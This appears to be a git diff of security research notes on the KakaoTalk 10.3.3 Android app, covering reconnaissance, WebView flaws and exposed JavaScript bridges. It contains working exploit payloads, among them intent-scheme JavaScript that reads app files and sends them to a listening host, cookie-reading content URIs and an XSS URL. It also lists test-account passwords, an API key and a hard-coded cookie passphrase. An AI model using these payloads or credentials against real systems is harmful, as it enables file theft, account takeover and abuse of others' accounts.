diff --git a/README.md b/README.md index a5d6ddf..0ef2156 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -# Kakaotalk Analysis +# Kakaotalk 10.3.3 Analysis - [Setup](#setup) - [SSH](#ssh) @@ -47,8 +47,8 @@ Install required tools: - Get latest [jadx](https://github.com/skylot/jadx) (or install via `brew`) - Get [Burp Suite](https://portswigger.net/burp/communitydownload) -- `$ brew install apktool nuclei radare2 sqlite db-browser-for-sqlite` -- `$ pip3 install --upgrade frida-tools objection` +- `$ brew install apktool jadx nuclei sqlite db-browser-for-sqlite` +- `$ pip3 install --upgrade frida-tools mitmproxy` - Install [Kakaotalk for Windows](https://app-pc.kakaocdn.net/talk/win32/KakaoTalk_Setup.exe) via [wine and brew](https://wiki.winehq.org/MacOS) ### SSH @@ -123,24 +123,23 @@ frida --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida -U - One phone number per account only - Open a new Incognito window, go to https://accounts.kakao.com and create an account: ``` -hans-erich.kober@ulm-dsl.de -peterock +furztrocken +ahmad.sprenger@ulm-dsl.de kBB5mmmE +peterock folkert.dachs@ulm-dsl.de -peterplan fMcz2Jtr ``` - In the KakaoTalk app, login with your email address: - When prompted add your phone number. You'll receive a SMS with a pin number. - - **Optional**: you may have to send a SMS including a base64 string (e.g., `KakaoTalk HgAAABIwAGgAQGQAAAAAAjEABwAAADE1Mjc2MAAA`) to a KakaoTalk phone number (you won't receive any SMS response back). After that, you need to tap/click the `Check verification` button in the app and the registration process should be completed. + - You may have to send a SMS including a base64 string (e.g., `KakaoTalk HgAAABIwAGgAQGQAAAAAAjEABwAAADE1Mjc2MAAA`) to a KakaoTalk phone number (you won't receive any SMS response back). After that, you need to tap/click the `Check verification` button in the app and the registration process should be completed. image ### Tools to play with -- https://github.com/skylot/jadx - - It has a scripting engine, too. +- https://github.com/Ch0pin/medusa - https://github.com/quark-engine/quark-engine - Frida scripts - https://github.com/WithSecureLabs/android-keystore-audit @@ -165,19 +164,31 @@ adb shell am start com.kakao.talk adb shell am force-stop com.kakao.talk # Start Termux adb shell am start com.termux/.HomeActivity +# Launch Settings +adb shell am start -a android.settings.SETTINGS # List 3rd-party Packages adb shell pm list packages -f -3 # Get Activities of an app PACKAGE=com.termux adb shell dumpsys package | grep -Eo $(printf "^[[:space:]]+[0-9a-f]+[[:space:]]+%s/[^[:space:]]+" "${PACKAGE}") | grep -oE "[^[:space:]]+$" -# Launch Settings -adb shell am start -a android.settings.SETTINGS # Show current activity adb shell dumpsys window windows | grep -E 'mCurrentFocus|mFocusedApp|mInputMethodTarget|mSurface' # Show file system access adb shell 'am start kakaotalk://main && ps -A | grep -m 1 "kakao" | tr -s " " | cut -d " " -f2 | xargs strace -f -p 2>&1 | grep -i /data' ``` +Sign an app: +```bash +# Decompile +apktool d -rf my-app.apk +# Generate signing key +keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000 +# Build APK +apktool b -f -d com.myapp +# Sign APK +jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore com.myapp/dist/com.myapp.apk alias_name +``` + ## Resources Third-party Kakaotalk clients: diff --git a/RECON.md b/RECON.md index b761652..4f78b00 100644 --- a/RECON.md +++ b/RECON.md @@ -4,13 +4,17 @@ - [Possible Vectors](#possible-attack-vectors) - [Registration and Login](#registration-and-login) - [Cloud](#cloud) - - [LOCO Protocol Attackss](#loco-protocol-attacks) + - [LOCO Protocol Attacks](#loco-protocol-attacks) - [Message Parsing](#message-parsing-zero-click) - [Malicious App](#malicious-third-party-app) - [Operator-side Attacks](#operator-side-attacks) - [General Infos](#general-infos) - [Files](#files) - [Rest APIs](#rest-apis) +- [Activities](#activities) +- [Services](#services) +- [Content Providers](#content-providers) +- [Broadcast Receivers](#broadcast-receivers) - [WebViews](#webviews) - [Firebase](#firebase) - [Intents](#intents) @@ -208,6 +212,22 @@ p360hh.AuthApi There are [Google API Keys](./recon/nuclei_keys_results.txt) which allow access to the Google Maps API. Unauthorized access might cost the company some money. +## Activities + +Many many (exported) `BROWSABLE` Activities. + +## Services + +**TO-DO** + +## Content Providers + +**TO-DO** + +## Broadcast Receivers + +**TO-DO** + ## WebViews Cookies are encrypted with the hard-coded passphrase `KaKAOtalkForever`. @@ -253,12 +273,6 @@ KakaoTalk doesn't seem to use Firebase Remote Config (or they are using a differ $ curl "https://firebaseremoteconfig.googleapis.com/v1/projects/552367303137/namespaces/firebase:fetch?key=AIzaSyD_-GTX7erjDNQ1UhkdesbAu98lej9MfWs" -H 'content-type:application/json' -d '{"appId": "1:552367303137:android:b650fef8b606535f","appInstanceId": "required_but_unused_value"}' ``` -## Intents - -**TO-DO**: Check for interesting [Intents](./recon/nuclei_android_results.txt). - -There are many many (exported) Activities, Services, Content Providers and Broadcast Receivers. - ## Native Libs **TO-DO**: Check for memory corruption bugs in native libs (located in `/data/app/com.kakao.talk-wRI5HzbljAi9o-6SZLN55g==/lib/arm64`): diff --git a/recon/webview/WEBVIEW.md b/recon/webview/WEBVIEW.md index 7626509..c174be3 100644 --- a/recon/webview/WEBVIEW.md +++ b/recon/webview/WEBVIEW.md @@ -38,7 +38,7 @@ ## Findings -- Account takeover +- Account takeover (only via MITM in the same network) - Send malicious link - Steal token - `update_settings.json` -> change e-mail @@ -78,9 +78,8 @@ curl -i -s -k -X $'POST' \ ``` - I can MITM TLS connections. There's just a security warning in KakaoTalk's UI that the user can accept (no need to put a Burp CA cert into Android trusted CA store). - I can start arbitrary components via the `intent:` scheme in `CommerceBuyActivity` (`kakaotalk://buy`) -- I can exfiltrate files via the `intent:` scheme in `CommerceBuyActivity` and opening `content://` URLs in `MyProfileSettingsActivity`: + - I can exfiltrate files by sending Intents with `content://` URLs to `MyProfileSettingsActivity`: ```javascript -location.href = "kakaotalk://buy"; // Read Firebase Installation configuration location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=content://com.kakao.talk.FileProvider/onepass/PersistedInstallation.W0RFRkFVTFRd+MTo1NTIzNjczMDMxMzc6YW5kcm9pZDpiNjUwZmVmOGI2MDY1MzVm.json;end" var data = document.querySelector('pre').innerHTML; @@ -91,7 +90,7 @@ img.src = 'http://10.0.2.2:8888?data=' + encodeURIComponent(data); - `adb shell am start "intent:#Intent\;component=com.kakao.talk/.gametab.view.KGPopupActivity\;S.url=https://foo.com\;end"` - `location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=http://10.0.2.2:8888/;end"` - `location.href = "intent:#Intent;component=com.kakao.talk/com.kakao.talk.commerce.ui.shopper.CommerceShopperWebViewActivity;S.URL=https://foo.com;end"` - - `ConnectBroadcastFriendsPickerActivity` -> `kakaointernalweb://host/q?url=https://www.foo.com&spamType=0&isPlusType=true'` + - `InAppBrowserActivity` -> `kakaointernalweb://host/q?url=https://www.foo.com&spamType=0&isPlusType=true` - `BizInAppBrowserActivity`-> `kakaotalk://bizwebview/open?url=http://www.foo.com` - I can execute Javascript by: - Pointing to attacker-controlled URLs @@ -101,12 +100,11 @@ img.src = 'http://10.0.2.2:8888?data=' + encodeURIComponent(data); - `location.href = "intent:#Intent;component=com.kakao.talk/.activity.kakaomail.KaKaoMailDocumentViewWebActivity;S.url=content://com.kakao.talk.FileProvider/onepass/PersistedInstallation.W0RFRkFVTFRd+MTo1NTIzNjczMDMxMzc6YW5kcm9pZDpiNjUwZmVmOGI2MDY1MzVm.json;S.subContent=foo;end"` - Reading a cookie: `adb shell content read --uri "content://com.kakao.talk.FileProvider/external_files/emulated/0/Android/data/com.kakao.talk/KakaoTalk/cookie/.57f323da7592b0b5de1360de3da701b0d1aa6627"` - Using the `android-app:` scheme: `adb shell am start "android-app://#Intent\;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity\;S.EXTRA_URL=content://com.kakao.talk.FileProvider/external_files/emulated/0/Android/data/com.kakao.talk/KakaoTalk/cookie/.57f323da7592b0b5de1360de3da701b0d1aa6627\;end"` -- I can access the user's location by exposed Javascript interfaces +- There are a couple of Javascript interfaces that access the user's location (see below) - Auto-download to `/sdcard/Download` via Chrome (`app://kakaotalk/openURL?url=`) - I can access other `BROWSABLE` Activities or Apps via the `android-app:` scheme, e.g.: - `location.href = "android-app://com.google.android.googlequicksearchbox/https/www.google.com"` - - `location.href = "android-app://com.kakao.talk/kakaotalk/hairshop#Intent;package=com.kakao.talk;end"` -- `setWebContentsDebuggingEnabled` seems to be enabled for most WebViews +- `setWebContentsDebuggingEnabled` is enabled for most WebViews - XSS in `com.kakao.talk.activity.cscenter.CsCenterActivity` (search field) - https://cs.kakao.com/search?query=%3Cscript%3Ealert%281%29%3C%2Fscript%3E (you need to click into the search field) @@ -139,15 +137,57 @@ curl -i -s -k -X $'POST' \ ### @JavascriptInterface -- **TO-DO:** Check interfaces that expose location information -- Search for custom Javascript->Native bridges -- `KvKakaoViewJavascriptInterface` -> `loadURL()` -- `BaseWebViewActivity` -> `saveImage()` +- `KvKakaoViewJavascriptInterface` -> `kakaoview` interface + - `loadURL()` +- `KvKakaoTalkJavascriptInterface` + - `getCurrentLocation(String str)` +- `BaseWebViewActivity` -> `webview` interface + - `saveImage()` - `NamecardWebActivity` -> `saveImage()` -- `JdSearchWebScriptInterface` `saveImage()` -- `VCBridgeJavascriptInterface` -> `writeData()` and `readData()` methods -- `DigitalDocsWebActivity` -> `webview_mount()` -- `KakaoBizWebJavascriptInterface` -> `executeBizWebExtension()` +- `JdSearchWebScriptInterface` -> `kakaoweb` interface + - `saveImage()` + - `requestLocationString(final String str)` +- `JdSearchWebCardScriptInterface` -> `kakaotalk` interface + - `requestLocation()` + - `requestLocationWithParam(String str)` + - `updateJson(String str)` +- `VCBridgeJavascriptInterface` -> `vc` interface -> used in `ShakeWebActivity` + - `checkKakaoCertAvailable(String str)` + - `writeData()` + - `readData()` +- `DigitalDocsWebActivity` -> `digitalDocs` interface + - `webview_mount()` (seems to load a URL) +- `KakaoBizWebJavascriptInterface` -> `kakaoBizWebExtensionNative` interface + - `executeBizWebExtension()` +- `kakaotalk://order` (`KakaoOrderActivity`) -> `kakaoTalk` interface + - `getAuthorization()` + - `getGeolocation()` + - `listenSms()` + - `openKakaoOrderFileChoose()` + - `openKakaoOrderShortcut()` +- `KakaoHairshopActivity` (`kakaotalk://hairshop`) -> `kakaoTalk` interface + - `getAuthorization()` + - `getGeolocation()` + - `getGeolocationForce()` +- `CommerceMakersActivity` (`kakaotalk://makers`) -> `kakaoTalk` interface + - `openExternalUrl(String str)` +- `KGWebView` (`kakaotalk://gamecenter`) -> `Gametab` interface + - `api(String str, String str2, String str3)` -> available commands in `KGWebViewCommands` class + - `kgapi(String str, String str2, String str3` +- `PlusHomeWebLayout` -> `kakaoTalk` interface + - `getGeolocation()` + - `getGeolocationForce()` + - `isLocationAgreed()` +- `CheckoutActivity` -> `kakaotalk` interface + - `addTalkChannel(long j)` +- `SubscriptionIapWebActivity` -> `kakaoSubscription` interface + - `requestInAppPurchase(String str)` +- `PlusEventScriptInterface` + - `copyClipboard(String str, String str2)` +- `WebViewSignedLocationInterface` -> `native` interface + - `reqSignInLocation(String str, String str2)` +- `KakaoTvPayJavascriptInterface` -> `kakaotv` interface -> used in `KakaoTvPayActivity` + - `purchaseItem(String str)` ### CSRF @@ -193,7 +233,7 @@ curl -i -s -k -X $'POST' \ ### Deeplinks -- Check `kakaolink://` deep links +- Check `kakaolink://` links - `InAppBrowserActivity` -> `kakaotalk://inappbrowser` - `KakaoOrderActivity` (`kakaotalk://order`) - `kakaotalk://store` @@ -215,12 +255,19 @@ curl -i -s -k -X $'POST' \ ### Misc +- Try to send intents to `com.kakao.talk.service.MessengerService` (via `kakaotalk://buy` Webview) - Clicking on https://auth.kakao.com in the KakaoTalk UI leads to `KakaoAccountSettingsActivity` -- Switch to a different Activity via `continue` parameter -> `https://auth.kakao.com/kakao_accounts/talk/check_password?continue=kakaotalk://main` -- When opening `content:` URIs I end up in the `null` origin -> `XMLHttpRequest` to `http` schemes works here +- Switch to a different Activity via `continue` parameter -> `https://auth.kakao.com/kakao_accounts?continue=kakaotalk://main` +- When opening `content:` URIs I end up in the `null` origin -> `XMLHttpRequest` to `http` scheme works here ## Resources +- [CORS and WebView API](https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/docs/cors-and-webview-api.md) +- [Intent Scheme](https://www.mbsd.jp/Whitepaper/IntentScheme.pdf) +- [Defcon WebView Training](https://media.defcon.org/DEF%20CON%2026/DEF%20CON%2026%20workshops/DEF%20CON%2026%20-%20Workshop-David-Turco-and-Jon-Overgaard-Christiansen-Wheres-My-Browser-Learn-Hacking-iOS-and-Android-WebViews.pdf) +- [Android security checklist: WebView](https://blog.oversecured.com/Android-security-checklist-webview/) +- [Reviewing Android Webviews fileAccess attack vectors](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html) + ## Appendix ### Payloads @@ -268,7 +315,7 @@ One-liner: - `KGPopupActivity` (`kakaotalk://gamecenter`) - `webViewSettings.setAllowFileAccessFromFileURLs(true);` - `webViewSettings.setAllowUniversalAccessFromFileURLs(true);` -- Intent scheme allowed +- Intent scheme allowed (but compontent and selector are set to null) - There are `KG`, `Kakao` and `kakaoweb` JS APIs - JavaScript-Native Bridge - `Gametab.api("talk/toolbar/show", '', '');` —> defined in class `KGWebViewCommands`